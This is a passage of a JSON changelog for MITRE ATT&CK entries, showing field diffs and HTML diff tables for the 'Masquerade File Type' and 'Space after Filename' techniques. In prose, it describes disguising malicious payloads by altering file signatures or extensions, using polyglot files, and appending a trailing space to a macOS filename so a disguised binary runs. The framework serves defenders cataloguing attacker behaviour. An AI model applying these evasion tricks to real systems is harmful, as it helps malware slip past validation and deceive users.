                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:58:20.304000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"old_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n+Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n \\n Adversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n \"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Ben Smith, @cmdaltr\"}, \"iterable_item_removed\": {\"root['x_mitre_contributors'][0]\": \"Ben Smith\"}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to7__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to7__0\"><a href=\"#difflib_chg_to7__top\">t</a></td><td class=\"diff_header\" id=\"from7_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;masquerade&nbsp;malicious&nbsp;payloads&nbsp;as&nbsp;legitimate&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to7__top\">t</a></td><td class=\"diff_header\" id=\"to7_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;masquerade&nbsp;malicious&nbsp;payloads&nbsp;as&nbsp;legitimate&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;through&nbsp;changes&nbsp;to&nbsp;the&nbsp;payload's&nbsp;formatting,&nbsp;including</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;through&nbsp;changes&nbsp;to&nbsp;the&nbsp;payload's&nbsp;formatting,&nbsp;including</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;file\u2019s&nbsp;signature,&nbsp;extension,&nbsp;icon,&nbsp;and&nbsp;contents.&nbsp;Variou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;file\u2019s&nbsp;signature,&nbsp;extension,&nbsp;icon,&nbsp;and&nbsp;contents.&nbsp;Variou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;file&nbsp;types&nbsp;have&nbsp;a&nbsp;typical&nbsp;standard&nbsp;format,&nbsp;including&nbsp;how&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;file&nbsp;types&nbsp;have&nbsp;a&nbsp;typical&nbsp;standard&nbsp;format,&nbsp;including&nbsp;how&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hey&nbsp;are&nbsp;encoded&nbsp;and&nbsp;organized.&nbsp;For&nbsp;example,&nbsp;a&nbsp;file\u2019s&nbsp;signatu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hey&nbsp;are&nbsp;encoded&nbsp;and&nbsp;organized.&nbsp;For&nbsp;example,&nbsp;a&nbsp;file\u2019s&nbsp;signatu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;(also&nbsp;known&nbsp;as&nbsp;header&nbsp;or&nbsp;magic&nbsp;bytes)&nbsp;is&nbsp;the&nbsp;beginning&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;(also&nbsp;known&nbsp;as&nbsp;header&nbsp;or&nbsp;magic&nbsp;bytes)&nbsp;is&nbsp;the&nbsp;beginning&nbsp;by</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;of&nbsp;a&nbsp;file&nbsp;and&nbsp;is&nbsp;often&nbsp;used&nbsp;to&nbsp;identify&nbsp;the&nbsp;file\u2019s&nbsp;type.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;of&nbsp;a&nbsp;file&nbsp;and&nbsp;is&nbsp;often&nbsp;used&nbsp;to&nbsp;identify&nbsp;the&nbsp;file\u2019s&nbsp;type.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;the&nbsp;header&nbsp;of&nbsp;a&nbsp;JPEG&nbsp;file<span class=\"diff_chg\">,&nbsp;&nbsp;is</span>&nbsp;&lt;code&gt;&nbsp;0xFF&nbsp;0xD</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;the&nbsp;header&nbsp;of&nbsp;a&nbsp;JPEG&nbsp;file<span class=\"diff_chg\">&nbsp;is</span>&nbsp;&lt;code&gt;&nbsp;0xFF&nbsp;0xD8&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">8&lt;/code&gt;&nbsp;and&nbsp;the&nbsp;file&nbsp;extension&nbsp;is&nbsp;either&nbsp;`.JPE`,&nbsp;`.JPEG`&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;and&nbsp;the&nbsp;file&nbsp;extension&nbsp;is&nbsp;either&nbsp;`.JPE`,&nbsp;`.JPEG`&nbsp;or&nbsp;`</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`.JPG`.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;edit&nbsp;the&nbsp;header\u2019s&nbsp;hex&nbsp;code&nbsp;and/or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.JPG`.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;edit&nbsp;the&nbsp;header\u2019s&nbsp;hex&nbsp;code&nbsp;and/or&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;file&nbsp;extension&nbsp;of&nbsp;a&nbsp;malicious&nbsp;payload&nbsp;in&nbsp;order&nbsp;to&nbsp;bypas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;file&nbsp;extension&nbsp;of&nbsp;a&nbsp;malicious&nbsp;payload&nbsp;in&nbsp;order&nbsp;to&nbsp;bypass&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;file&nbsp;validation&nbsp;checks&nbsp;and/or&nbsp;input&nbsp;sanitization.&nbsp;This&nbsp;beh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;validation&nbsp;checks&nbsp;and/or&nbsp;input&nbsp;sanitization.&nbsp;This&nbsp;behav</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">avior&nbsp;is&nbsp;commonly&nbsp;used&nbsp;when&nbsp;payload&nbsp;files&nbsp;are&nbsp;transferred&nbsp;(e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ior&nbsp;is&nbsp;commonly&nbsp;used&nbsp;when&nbsp;payload&nbsp;files&nbsp;are&nbsp;transferred&nbsp;(e.g</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.g.,&nbsp;[Ingress&nbsp;Tool&nbsp;Transfer](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.,&nbsp;[Ingress&nbsp;Tool&nbsp;Transfer](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1105))&nbsp;and&nbsp;stored&nbsp;(e.g.,&nbsp;[Upload&nbsp;Malware](https://atta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1105))&nbsp;and&nbsp;stored&nbsp;(e.g.,&nbsp;[Upload&nbsp;Malware](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1608/001))&nbsp;so&nbsp;that&nbsp;adversaries&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1608/001))&nbsp;so&nbsp;that&nbsp;adversaries&nbsp;may&nbsp;mo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">move&nbsp;their&nbsp;malware&nbsp;without&nbsp;triggering&nbsp;detections.&nbsp;&nbsp;&nbsp;Common&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;their&nbsp;malware&nbsp;without&nbsp;triggering&nbsp;detections.&nbsp;&nbsp;&nbsp;Common&nbsp;non</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on-executable&nbsp;file&nbsp;types&nbsp;and&nbsp;extensions,&nbsp;such&nbsp;as&nbsp;text&nbsp;files&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-executable&nbsp;file&nbsp;types&nbsp;and&nbsp;extensions,&nbsp;such&nbsp;as&nbsp;text&nbsp;files&nbsp;(`</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(`.txt`)&nbsp;and&nbsp;image&nbsp;files&nbsp;(`.jpg`,&nbsp;`.gif`,&nbsp;etc.)&nbsp;may&nbsp;be&nbsp;typic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.txt`)&nbsp;and&nbsp;image&nbsp;files&nbsp;(`.jpg`,&nbsp;`.gif`,&nbsp;etc.)&nbsp;may&nbsp;be&nbsp;typical</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ally&nbsp;treated&nbsp;as&nbsp;benign.&nbsp;&nbsp;Based&nbsp;on&nbsp;this,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;treated&nbsp;as&nbsp;benign.&nbsp;&nbsp;Based&nbsp;on&nbsp;this,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;file&nbsp;extension&nbsp;to&nbsp;disguise&nbsp;malware,&nbsp;such&nbsp;as&nbsp;naming&nbsp;a&nbsp;PHP&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;extension&nbsp;to&nbsp;disguise&nbsp;malware,&nbsp;such&nbsp;as&nbsp;naming&nbsp;a&nbsp;PHP&nbsp;bac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ackdoor&nbsp;code&nbsp;with&nbsp;a&nbsp;file&nbsp;name&nbsp;of&nbsp;&lt;code&gt;test.gif&lt;/code&gt;.&nbsp;A&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kdoor&nbsp;code&nbsp;with&nbsp;a&nbsp;file&nbsp;name&nbsp;of&nbsp;&lt;code&gt;test.gif&lt;/code&gt;.&nbsp;A&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;may&nbsp;not&nbsp;know&nbsp;that&nbsp;a&nbsp;file&nbsp;is&nbsp;malicious&nbsp;due&nbsp;to&nbsp;the&nbsp;benign&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;not&nbsp;know&nbsp;that&nbsp;a&nbsp;file&nbsp;is&nbsp;malicious&nbsp;due&nbsp;to&nbsp;the&nbsp;benign&nbsp;app</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ppearance&nbsp;and&nbsp;file&nbsp;extension.&nbsp;&nbsp;Polyglot&nbsp;files,&nbsp;which&nbsp;are&nbsp;fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">earance&nbsp;and&nbsp;file&nbsp;extension.&nbsp;&nbsp;Polyglot&nbsp;files,&nbsp;which&nbsp;are&nbsp;files</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;that&nbsp;have&nbsp;multiple&nbsp;different&nbsp;file&nbsp;types&nbsp;and&nbsp;that&nbsp;function</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;that&nbsp;have&nbsp;multiple&nbsp;different&nbsp;file&nbsp;types&nbsp;and&nbsp;that&nbsp;function&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;differently&nbsp;based&nbsp;on&nbsp;the&nbsp;application&nbsp;that&nbsp;will&nbsp;execute&nbsp;them</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ifferently&nbsp;based&nbsp;on&nbsp;the&nbsp;application&nbsp;that&nbsp;will&nbsp;execute&nbsp;them,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;disguise&nbsp;malicious&nbsp;malware&nbsp;and&nbsp;capabil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;disguise&nbsp;malicious&nbsp;malware&nbsp;and&nbsp;capabilit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ities.(Citation:&nbsp;polygot_icedID)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies.(Citation:&nbsp;polygot_icedID)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1040: Behavior Prevention on Endpoint",
                            "M1049: Antivirus/Antimalware"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0226: Detection Strategy for Masquerading via File Type Modification"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-10 20:47:10.082000+00:00",
                    "modified": "2026-11-04 00:16:06.634000+00:00",
                    "name": "Space after Filename",
                    "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1036/006",
                            "external_id": "T1036.006"
                        },
                        {
                            "source_name": "Mac Backdoors are back",
                            "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
                            "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Erye Hernandez, Palo Alto Networks"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:16:06.634000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n\\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\\n\\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\", \"old_value\": \"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n\\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\\n\\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n \\n-For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\\n+For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\\n \\n Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to162__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to162__0\"><a href=\"#difflib_chg_to162__top\">t</a></td><td class=\"diff_header\" id=\"from162_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;can&nbsp;hide&nbsp;a&nbsp;program's&nbsp;true&nbsp;filetype&nbsp;by&nbsp;changing&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to162__top\">t</a></td><td class=\"diff_header\" id=\"to162_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;can&nbsp;hide&nbsp;a&nbsp;program's&nbsp;true&nbsp;filetype&nbsp;by&nbsp;changing&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;extension&nbsp;of&nbsp;a&nbsp;file.&nbsp;With&nbsp;certain&nbsp;file&nbsp;types&nbsp;(specificall</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;extension&nbsp;of&nbsp;a&nbsp;file.&nbsp;With&nbsp;certain&nbsp;file&nbsp;types&nbsp;(specificall</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;this&nbsp;does&nbsp;not&nbsp;work&nbsp;with&nbsp;.app&nbsp;extensions),&nbsp;appending&nbsp;a&nbsp;spac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;this&nbsp;does&nbsp;not&nbsp;work&nbsp;with&nbsp;.app&nbsp;extensions),&nbsp;appending&nbsp;a&nbsp;spac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;to&nbsp;the&nbsp;end&nbsp;of&nbsp;a&nbsp;filename&nbsp;will&nbsp;change&nbsp;how&nbsp;the&nbsp;file&nbsp;is&nbsp;proce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;to&nbsp;the&nbsp;end&nbsp;of&nbsp;a&nbsp;filename&nbsp;will&nbsp;change&nbsp;how&nbsp;the&nbsp;file&nbsp;is&nbsp;proce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system.&nbsp;&nbsp;For&nbsp;example,&nbsp;if&nbsp;there&nbsp;is&nbsp;a&nbsp;Ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system.&nbsp;&nbsp;For&nbsp;example,&nbsp;if&nbsp;there&nbsp;is&nbsp;a&nbsp;Ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch-O&nbsp;executable&nbsp;file&nbsp;called&nbsp;&lt;code&gt;evil.bin&lt;/code&gt;,&nbsp;when&nbsp;it&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch-O&nbsp;executable&nbsp;file&nbsp;called&nbsp;&lt;code&gt;evil.bin&lt;/code&gt;,&nbsp;when&nbsp;it&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;user,&nbsp;it&nbsp;will&nbsp;launch&nbsp;Terminal.app&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;user,&nbsp;it&nbsp;will&nbsp;launch&nbsp;Terminal.app&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execute.&nbsp;If&nbsp;this&nbsp;file&nbsp;is&nbsp;renamed&nbsp;to&nbsp;&lt;code&gt;evil.txt&lt;/code&gt;,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execute.&nbsp;If&nbsp;this&nbsp;file&nbsp;is&nbsp;renamed&nbsp;to&nbsp;&lt;code&gt;evil.txt&lt;/code&gt;,&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;when&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;user,&nbsp;it&nbsp;will&nbsp;launch&nbsp;with&nbsp;the&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;when&nbsp;double&nbsp;clicked&nbsp;by&nbsp;a&nbsp;user,&nbsp;it&nbsp;will&nbsp;launch&nbsp;with&nbsp;the&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efault&nbsp;text&nbsp;editing&nbsp;application&nbsp;(not&nbsp;executing&nbsp;the&nbsp;binary).&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efault&nbsp;text&nbsp;editing&nbsp;application&nbsp;(not&nbsp;executing&nbsp;the&nbsp;binary).&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 